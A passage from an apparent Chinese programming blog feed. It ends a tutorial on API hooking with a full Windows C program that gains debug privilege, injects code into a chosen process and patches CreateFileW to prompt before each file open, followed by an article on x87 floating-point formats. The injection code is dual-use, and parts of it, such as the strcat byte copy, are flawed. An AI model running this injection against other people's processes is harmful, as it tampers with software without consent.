[NextIpAddr]//把返回地址放到EDX中，因为待会儿             //EBX被恢复后，线程中的所有局部变量就不能正常使用了。<br />      <br />MOV EAX, [RetValue]//返回值放到EAX中，当然也可以修改这个返回值<br />MOV ESP, EBP//清理局部变量<br />POP EBP//恢复EBP的值<br />ADD ESP, 28H //清理参数和返回地址，注意一共(7+1+1+1)*4<br />PUSH EDX //把返回地址压栈，这样栈中就只有这一个返回地址了，返回之后栈       //就空了<br />RET<br />}<br /><br />这样，一切就完成了，堆栈恢复了应该有的状态，而你想拦截的也拦截到了。<br /><br /><br />四：后记<br />  拦截的方式多种多样，不过大体的思路却都相同。要时刻注意你要拦截的函数的堆栈状态以及在拦截函数中的对数据的引用和函数的调用（地址问题）。<br /><br />  <br />//////////////////////////////////////////////////////////////////////<br />附录：一个拦截CreateFile函数的简单实现<br />//////////////////////////////////////////////////////////////////////<br /></font>
				<div style="FONT-SIZE: 9px; MARGIN-LEFT: 5px">
						<b>CODE:</b>
				</div>
				<div class="quote" id="code1">
						<br />#include &lt;stdio.h&gt;<br />#include &lt;windows.h&gt;<br />#include &lt;Psapi.h&gt;<br /><br />#pragma comment(lib, "psapi.lib")<br /><br />typedef struct _RemoteParam {<br />  DWORD dwCreateFile;<br />  DWORD dwMessageBox;<br />  DWORD dwGetCurrentProcess;<br />  DWORD dwWriteProcessMemory;<br />  unsigned char szOldCode[10];<br />  DWORD FunAddr;<br />} RemoteParam, * PRemoteParam;<br /><br />typedef HANDLE (__stdcall * PFN_CREATEFILE)(LPCTSTR,DWORD,DWORD,LPSECURITY_ATTRIBUTES,DWORD,DWORD,HANDLE);<br />typedef int (__stdcall * PFN_MESSAGEBOX)(HWND, LPCTSTR, LPCTSTR, DWORD);<br />typedef BOOL (__stdcall * PFN_WRITEPROCESSMEMORY)(HANDLE,LPVOID,LPCVOID,SIZE_T,SIZE_T*);<br />typedef HANDLE (__stdcall * PFN_GETCURRENTPROCESS)(void);<br /><br />#define PROCESSNUM 128<br />#define MYMESSAGEBOX "MessageBoxW"<br />#define MYCREATEFILE "CreateFileW"<br /><br />void HookCreateFile(LPVOID lParam)<br />{<br /><br />  RemoteParam* pRP = (RemoteParam*)lParam;<br /><br /><br />  DWORD NextIpAddr = 0;<br />  DWORD dwParamaAddr = 0;<br /><br />  HANDLE RetFpHdl = INVALID_HANDLE_VALUE;<br />  LPCTSTR lpFileName;<br />  DWORD dwDesiredAccess;<br />  DWORD dwShareMode;<br />  LPSECURITY_ATTRIBUTES lpSecurityAttributes;<br />  DWORD dwCreationDisposition;<br />  DWORD dwFlagsAndAttributes;<br />  HANDLE hTemplateFile;<br />  PFN_CREATEFILE pfnCreatefile = (PFN_CREATEFILE)pRP-&gt;dwCreateFile; <br /><br /><br />  __asm <br />  {<br />  MOV EAX,[EBP+8]<br />  MOV [dwParamaAddr], EAX<br />  MOV EAX,[EBP+12]       <br />  MOV [NextIpAddr], EAX<br />  MOV EAX,[EBP+16]<br />  MOV [lpFileName], EAX<br />  MOV EAX,[EBP+20]<br />  MOV [dwDesiredAccess],EAX<br />  MOV EAX,[EBP+24]<br />  MOV [dwShareMode],EAX<br />  MOV EAX,[EBP+28]<br />  MOV [lpSecurityAttributes],EAX<br />  MOV EAX,[EBP+32]<br />  MOV [dwCreationDisposition],EAX<br />  MOV EAX,[EBP+36]<br />  MOV [dwFlagsAndAttributes],EAX<br />  MOV EAX,[EBP+40]<br />  MOV [hTemplateFile],EAX   <br />  }<br /><br />  PFN_MESSAGEBOX pfnMessageBox = (PFN_MESSAGEBOX)pRP-&gt;dwMessageBox;<br />  int allowFlag = pfnMessageBox(NULL, lpFileName, NULL, MB_ICONINFORMATION | MB_YESNO);<br />  <br />  if(allowFlag == IDYES)<br />  {<br />  unsigned char szNewCode[10];<br />  int PramaAddr = (int)dwParamaAddr;<br />  szNewCode[4] = PramaAddr&gt;&gt;24;<br />  szNewCode[3] = (PramaAddr&lt;&lt;8)&gt;&gt;24;<br />  szNewCode[2] = (PramaAddr&lt;&lt;16)&gt;&gt;24;<br />  szNewCode[1] = (PramaAddr&lt;&lt;24)&gt;&gt;24;<br />  szNewCode[0] = 0x68;<br />  <br />  int funaddr = (int)pRP-&gt;FunAddr - (int)pfnCreatefile - 10 ;<br />  szNewCode[9] = funaddr&gt;&gt;24;<br />  szNewCode[8] = (funaddr&lt;&lt;8)&gt;&gt;24;<br />  szNewCode[7] = (funaddr&lt;&lt;16)&gt;&gt;24;<br />  szNewCode[6] = (funaddr&lt;&lt;24)&gt;&gt;24;<br />  szNewCode[5] = 0xE8;<br />  <br />  <br />  PFN_GETCURRENTPROCESS pfnGetCurrentProcess = (PFN_GETCURRENTPROCESS)pRP-&gt;dwGetCurrentProcess;<br />  PFN_WRITEPROCESSMEMORY pfnWriteProcessMemory = (PFN_WRITEPROCESSMEMORY)pRP-&gt;dwWriteProcessMemory;<br />  pfnWriteProcessMemory(pfnGetCurrentProcess(),<br />                (LPVOID)pfnCreatefile,<br />                (LPCVOID)pRP-&gt;szOldCode,<br />                10,<br />                NULL);<br /><br />  RetFpHdl = pfnCreatefile(lpFileName,<br />                  dwDesiredAccess,<br />                  dwShareMode,<br />                  lpSecurityAttributes,<br />                  dwCreationDisposition,<br />                  dwFlagsAndAttributes,<br />                  hTemplateFile);<br />  pfnWriteProcessMemory(pfnGetCurrentProcess(),<br />                (LPVOID)pfnCreatefile,<br />                (LPCVOID)szNewCode,<br />                10,<br />                NULL);<br />  }<br /><br /><br />  __asm<br />    {POP EDI<br />      POP ESI<br />      POP EBX<br />      MOV EDX, [NextIpAddr]<br />      MOV EAX, [RetFpHdl]<br />      MOV ESP, EBP<br />      POP EBP<br />      ADD ESP, 28H <br />      PUSH EDX<br />      RET<br />    }<br /><br />  <br />}<br /><br /><br /><br />BOOL AdjustProcessPrivileges(LPCSTR szPrivilegesName)<br />{<br />  HANDLE hToken; <br />  TOKEN_PRIVILEGES tkp;<br /><br />  if(!OpenProcessToken(GetCurrentProcess(),<br />    TOKEN_ADJUST_PRIVILEGES|TOKEN_QUERY,&amp;hToken))<br />  {<br />    return FALSE;<br />  }<br /><br />  if(!LookupPrivilegeValue(NULL,szPrivilegesName,<br />                  &amp;tkp.Privileges[0].Luid))<br />  {<br />    CloseHandle(hToken);<br />    return FALSE;<br />  }<br />  <br />  tkp.PrivilegeCount = 1;<br />  tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED;<br />  <br />  if(!AdjustTokenPrivileges(hToken,FALSE,&amp;tkp,sizeof(tkp),NULL,NULL))<br />  {<br />    CloseHandle(hToken);<br />    return FALSE;<br />  }<br />  <br />  CloseHandle(hToken);<br />  return TRUE;<br />}<br /><br /><br />void printProcessNameByPid( DWORD ProcessId )<br />{<br />  HANDLE pHd;<br />  HMODULE pHmod;<br />  char ProcessName[MAX_PATH] = "unknown";<br />  DWORD cbNeeded;<br />  pHd = OpenProcess( PROCESS_QUERY_INFORMATION |PROCESS_VM_READ, FALSE, ProcessId );<br />  if(pHd == NULL)<br />    return;<br />  <br />  if(!EnumProcessModules( pHd, &amp;pHmod, sizeof(pHmod), &amp;cbNeeded))<br />    return;<br />  if(!GetModuleFileNameEx( pHd, pHmod, ProcessName, MAX_PATH))<br />    return;<br />  <br />  printf( "%d\t%s\n", ProcessId, ProcessName);<br />  CloseHandle( pHd );<br />  return;<br />}<br /><br /><br />int main(void)<br />{<br /><br />  if(!AdjustProcessPrivileges(SE_DEBUG_NAME))<br />  {<br />      printf("AdjustProcessPrivileges Error!\n");<br />      return -1;<br />  }<br /><br />  DWORD Pids[PROCESSNUM];<br />  DWORD dwProcessNum = 0;<br />  if(!EnumProcesses(Pids, sizeof(Pids), &amp;dwProcessNum))<br />  {<br />      printf("EnumProcess Error!\n");<br />      return -1;<br />  }<br />  <br />  for( DWORD num = 0; num &lt; (dwProcessNum / sizeof(DWORD)); num++)<br />      printProcessNameByPid(Pids[num]);<br /><br />  printf("\nAll %d processes running. \n", dwProcessNum / sizeof(DWORD));<br /><br />  DWORD dwPid = 0;<br />  printf("\n请输入要拦截的进程id:");<br />  scanf("%d", &amp;dwPid);<br />  <br />  HANDLE hTargetProcess = OpenProcess(PROCESS_VM_OPERATION|PROCESS_VM_WRITE|PROCESS_VM_READ, FALSE, dwPid);<br />  if(hTargetProcess == NULL)<br />  {<br />      printf("OpenProcess Error!\n");<br />      return -1;<br />  }<br /><br />  DWORD dwFunAddr = (DWORD)VirtualAllocEx(hTargetProcess, NULL, 8192, <br />                              MEM_COMMIT | MEM_RESERVE, PAGE_EXECUTE_READWRITE);<br />  <br />  if((LPVOID)dwFunAddr == NULL)<br />  {<br />      printf("申请线程内存失败!\n");<br />      CloseHandle(hTargetProcess);<br />      return -1;<br />  }<br /><br />  DWORD dwPramaAddr = (DWORD)VirtualAllocEx(hTargetProcess, NULL, sizeof(RemoteParam), <br />                              MEM_COMMIT | MEM_RESERVE, PAGE_EXECUTE_READWRITE);<br /><br />  if((LPVOID)dwPramaAddr == NULL)<br />  {<br />      printf("申请参数内存失败!\n");<br />      CloseHandle(hTargetProcess);<br />      return -1;<br />  }<br /><br />  printf("\n线程内存地址:%.8x\n"<br />        "参数内存地址:%.8x\n",<br />        dwFunAddr, dwPramaAddr);<br />    RemoteParam RParam;<br />  ZeroMemory(&amp;RParam, sizeof(RParam));<br />  HMODULE hKernel32 = LoadLibrary("kernel32.dll");<br />  HMODULE hUser32 = LoadLibrary("user32.dll");<br /><br />  RParam.dwCreateFile = (DWORD)GetProcAddress(hKernel32, MYCREATEFILE);<br />  RParam.dwGetCurrentProcess = (DWORD)GetProcAddress(hKernel32, "GetCurrentProcess");<br />  RParam.dwWriteProcessMemory = (DWORD)GetProcAddress(hKernel32, "WriteProcessMemory");<br />  RParam.dwMessageBox = (DWORD)GetProcAddress(hUser32, MYMESSAGEBOX); <br />  <br />  unsigned char oldcode[10];<br />  unsigned char newcode[10];<br />  int praadd = (int)dwPramaAddr;<br />  int threadadd = (int)dwFunAddr;<br />  newcode[4] = praadd&gt;&gt;24;<br />  newcode[3] = (praadd&lt;&lt;8)&gt;&gt;24;<br />  newcode[2] = (praadd&lt;&lt;16)&gt;&gt;24;<br />  newcode[1] = (praadd&lt;&lt;24)&gt;&gt;24;<br />  newcode[0] = 0x68;<br />  <br />  int offsetaddr = threadadd - (int)RParam.dwCreateFile - 10 ;<br />  newcode[9] = offsetaddr&gt;&gt;24;<br />  newcode[8] = (offsetaddr&lt;&lt;8)&gt;&gt;24;<br />  newcode[7] = (offsetaddr&lt;&lt;16)&gt;&gt;24;<br />  newcode[6] = (offsetaddr&lt;&lt;24)&gt;&gt;24;<br />  newcode[5] = 0xE8;<br /><br />  printf("NewCode:");<br />  for(int j = 0; j &lt; 10; j++)<br />      printf("0x%.2x ",newcode[j]);<br />  printf("\n\n");<br /><br /><br /><br />  if(!ReadProcessMemory(GetCurrentProcess(),<br />                  (LPCVOID)RParam.dwCreateFile,<br />                  oldcode,<br />                  10,<br />                  &amp;dwPid))<br />  {<br />      printf("read error");<br />      CloseHandle(hTargetProcess);<br />      FreeLibrary(hKernel32);<br />      return -1;<br />  }<br /><br />  strcat((char*)RParam.szOldCode, (char*)oldcode);<br />  RParam.FunAddr = dwFunAddr;<br /><br />  printf(<br />        "RParam.dwCreateFile:%.8x\n"<br />        "RParam.dwMessageBox:%.8x\n"<br />        "RParam.dwGetCurrentProcess:%.8x\n"<br />        "RParam.dwWriteProcessMemory:%.8x\n"<br />        "RParam.FunAddr:%.8x\n",<br />        RParam.dwCreateFile,<br />        RParam.dwMessageBox,<br />        RParam.dwGetCurrentProcess,<br />        RParam.dwWriteProcessMemory,<br />        RParam.FunAddr);<br />  printf("RParam.szOldCode:");<br />  for( int i = 0; i&lt; 10; i++)<br />      printf("0x%.2x ", RParam.szOldCode[i]);<br />  printf("\n");<br />  <br />  <br />  if(!WriteProcessMemory(hTargetProcess, (LPVOID)dwFunAddr, (LPVOID)&amp;HookCreateFile, 8192, &amp;dwPid))<br />  {<br />      printf("WriteRemoteProcessesMemory Error!\n");<br />      CloseHandle(hTargetProcess);<br />      FreeLibrary(hKernel32);<br />      return -1; <br />  }<br /><br />  if(!WriteProcessMemory(hTargetProcess, (LPVOID)dwPramaAddr, (LPVOID)&amp;RParam, sizeof(RemoteParam), &amp;dwPid))<br />  {<br />      printf("WriteRemoteProcessesMemory Error!\n");<br />      CloseHandle(hTargetProcess);<br />      FreeLibrary(hKernel32);<br />      return -1; <br />  }<br />  <br />  if(!WriteProcessMemory(hTargetProcess, (LPVOID)RParam.dwCreateFile, (LPVOID)newcode, 10, &amp;dwPid))<br />  {<br />      printf("WriteRemoteProcessesMemory Error!\n");<br />      CloseHandle(hTargetProcess);<br />      FreeLibrary(hKernel32);<br />      return -1; <br />  }<br /><br />  printf("\nThat's all, good luck :)\n");<br />  CloseHandle(hTargetProcess);<br />  FreeLibrary(hKernel32);<br />  return 0;<br />}</div>
		</span>
<img src ="http://www.cppblog.com/saga/aggbug/17891.html" width = "1" height = "1" /><br><br><div align=right><a style="text-decoration:none;" href="http://www.cppblog.com/saga/" target="_blank">saga.constantine</a> 2007-01-22 16:49 <a href="http://www.cppblog.com/saga/archive/2007/01/22/17891.html#Feedback" target="_blank" style="text-decoration:none;">发表评论</a></div>]]></description></item><item><title>[收集]关于汇编80X87FPU浮点运算</title><link>http://www.cppblog.com/saga/archive/2007/01/17/17721.html</link><dc:creator>saga.constantine</dc:creator><author>saga.constantine</author><pubDate>Wed, 17 Jan 2007 06:46:00 GMT</pubDate><guid>http://www.cppblog.com/saga/archive/2007/01/17/17721.html</guid><wfw:comment>http://www.cppblog.com/saga/comments/17721.html</wfw:comment><comments>http://www.cppblog.com/saga/archive/2007/01/17/17721.html#Feedback</comments><slash:comments>3</slash:comments><wfw:commentRss>http://www.cppblog.com/saga/comments/commentRss/17721.html</wfw:commentRss><trackback:ping>http://www.cppblog.com/saga/services/trackbacks/17721.html</trackback:ping><description><![CDATA[
		<p>
				<font color="#006400">80X87FPU浮点数据的格式、浮点寄存器的特点<br /></font>
				<br />
				<font color="#ff0000">浮点数据格式:<br /></font>在计算机中，实数的浮点格式（Floating-Point Format）所示，分成指数、有效数字和符号位三个部分。<br />·  符号（Sign）——表示数据的正负，在最高有效位（MSB）。负数的符号位为1，正数的符号为0。<br />·  指数（Exponent）——也被称为阶码，表示数据以2为底的幂。指数采用偏移码（Biased Exponent）表示，恒为整数。<br />·  有效数字（Significand）——表示数据的有效数字，反映数据的精度。有效数字一般采用规格化（Normalized）形式，是一个纯小数，所以也被称为尾数（Mantissa）、小数或分数（Fraction）。<br />      80x87支持三种浮点数据类型：单精度、双精度和扩展精度；它们的长度依次为32、64和80位，即4、8和10个字节；<br />·  单精度浮点数（32位短实数）——由1位符号、8位指数、23位有效数组成。<br />·  双精度浮点数（64位长实数）——由1位符号、11位指数、52位有效数组成。<br />·  扩展精度浮点数（80位临时实数）——由1位符号、15位指数、64位有效数组成。很多计算机中并没有80位扩展精度这种数据类型，80x87 FPU主要在内部使用它存贮中间结果，以保证最终数值的精度。</p>
		<p>
				<font color="#ff0000">80x87的指令系统<br /></font>浮点处理单元FPU具有自己的指令系统，共有几十种浮点指令，可以分成传送、算术运算、超越函数、比较、FPU控制等类。浮点指令归属于ESC指令，其前5位的操作码都是11011b，它的指令助记符均以F开头。<br />1. 浮点传送类指令<br />    浮点数据传送指令完成主存与栈顶st(0)、数据寄存器st(i)与栈顶之间的浮点格式数据的传送。浮点数据寄存器是一个首尾相接的堆栈，所以它的数据传送实际上是对堆栈的操作，有些要改变堆栈指针TOP，即修改当前栈顶。<br />2. 算术运算类指令<br />    这类浮点指令实现浮点数、16/32位整数的加、减、乘、除运算，它们支持的寻址方式相同。这组指令还包括有关算术运算的指令，例如求绝对值、取整等。<br />3. 超越函数类指令<br />    浮点指令集中包含有进行三角函数、指数和对数运算的指令。<br />4. 浮点比较类指令<br />    浮点比较指令比较栈顶数据与指定的源操作数，比较结果通过浮点状态寄存器反映。<br />5. FPU控制类指令<br />    FPU控制类指令用于控制和检测浮点处理单元FPU的状态及操作方式。</p>
		<p>
				<font color="#ff0000">采用浮点指令的汇编语言程序格式，与整数指令源程序格式是类似的，但有以下几点需要注意：</font>
				<br />·  使用FPU选择伪指令<br />      由于汇编程序MASM默认只识别8086指令，所以要加上.8087 / .287 / .387等伪指令选择汇编浮点指令；有时，还要加上相应的.238/.386等伪指令。<br />·  定义浮点数据<br />      数据定义伪指令dd(dword) / dq(qword) / dt(tbyte)依次说明32/64/80位数据；它们可以用于定义单精度、双精度和扩展精度浮点数。为了区别于整数定义，MASM 6.11建议采用REAL4、REAL8、REAL10定义单、双、扩展精度浮点数，但不能出现纯整数（其实，整数后面补个小数点就可以了）。相应的数据属性依次是dword、qword、tbyte。另外，实常数可以用E表示10的幂。<br />·  初始化浮点处理单元 <br />      每当执行一个新的浮点程序时，第一条指令都应该是初始化FPU的指令finit。该指令清除浮点数据寄存器栈和异常，为程序提供一个“干净”的初始状态。否则，遗留在浮点寄存器栈中的数据可能会产生堆栈溢出。另一方面，浮点指令程序段结束，也最好清空浮点数据寄存器。</p>
		<p>
				<font color="#ff0000">浮点寄存器:<br /></font>浮点执行环境的寄存器主要是8个通用数据寄存器和几个专用寄存器，它们是状态寄存器、控制寄存器、标记寄存器等<br />8个浮点数据寄存器（FPU Data Register），编号FPR0 ~ FPR7。每个浮点寄存器都是80位的，以扩展精度格式存储数据。当其他类型数据压入数据寄存器时，PFU自动转换成扩展精度；相反，数据寄存器的数据取出时，系统也会自动转换成要求的数据类型。<br />      8个浮点数据寄存器组成首尾相接的堆栈，当前栈顶ST(0)指向的FPRx由状态寄存器中TOP字段指明。数据寄存器不采用随机存取，而是按照“后进先出”的堆栈原则工作，并且首尾循环。向数据寄存器传送（Load）数据时就是入栈，堆栈指针TOP先减1，再将数据压入栈顶寄存器；从数据寄存器取出（Store）数据时就是出栈，先将栈顶寄存器数据弹出，再修改堆栈指针使TOP加1。浮点寄存器栈还有首尾循环相连的特点。例如，若当前栈顶TOP=0（即ST(0) = PFR0），那么，入栈操作后就使TOP=7（即使ST(0) = PFR7），数据被压入PFR7。所以，浮点数据寄存器常常被称为浮点数据栈。<br />      为了表明浮点数据寄存器中数据的性质，对应每个FPR寄存器，都有一个2位的标记（Tag）位，这8个标记tag0 ~ tag7组成一个16位的标记寄存器。</p>
<img src ="http://www.cppblog.com/saga/aggbug/17721.html" width = "1" height = "1" /><br><br><div align=right><a style="text-decoration:none;" href="http://www.cppblog.com/saga/" target="_blank">saga.constantine</a> 2007-01-17 14:46 <a href="http://www.cppblog.com/saga/archive/2007/01/17/17721.html#Feedback" target="_blank" style="text-decoration:none;">发表评论</a></div>]]></description></item></channel></rss>